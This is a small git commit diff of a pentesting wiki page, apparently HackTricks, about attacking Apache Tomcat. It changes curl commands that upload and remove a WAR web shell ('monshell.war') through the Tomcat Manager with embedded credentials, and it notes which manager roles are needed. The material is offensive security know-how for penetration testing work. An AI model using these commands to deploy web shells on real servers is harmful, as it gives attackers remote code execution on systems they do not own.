GitBook: [master] one page modified

This commit is contained in:
CPol 2021-08-22 01:54:08 +00:00 committed by gitbook-bot
parent 5b5b28a778
commit 4d57226742
No known key found for this signature in database
GPG Key ID: 07D2180C7B12D0FF

View File

@ -86,14 +86,13 @@ Finally, if you have access to the Tomcat Web Application Manager, you can **upl
You will only be able to deploy a WAR if you have **enough privileges** \(roles: **admin**, **manager** and **manager-script**\). Those details can be find under _tomcat-users.xml_ usually defined in `/usr/share/tomcat9/etc/tomcat-users.xml` \(it vary between versions\) \(see [POST ](tomcat.md#post)section\).
```bash
# /!\ tomcat7 and above uses /manager/text/undeploy and /manager/text/deploy paths
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
# deploy under "path" context path
curl --upload-file monshell.war "http://tomcat:Password@localhost:8080/manager/deploy?path=/monshell"
curl --upload-file monshell.war "http://tomcat:Password@localhost:8080/manager/text/deploy?path=/monshell"
# undeploy
curl "http://tomcat:Password@localhost:8080/manager/undeploy?path=/monshell"
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
```
### Metasploit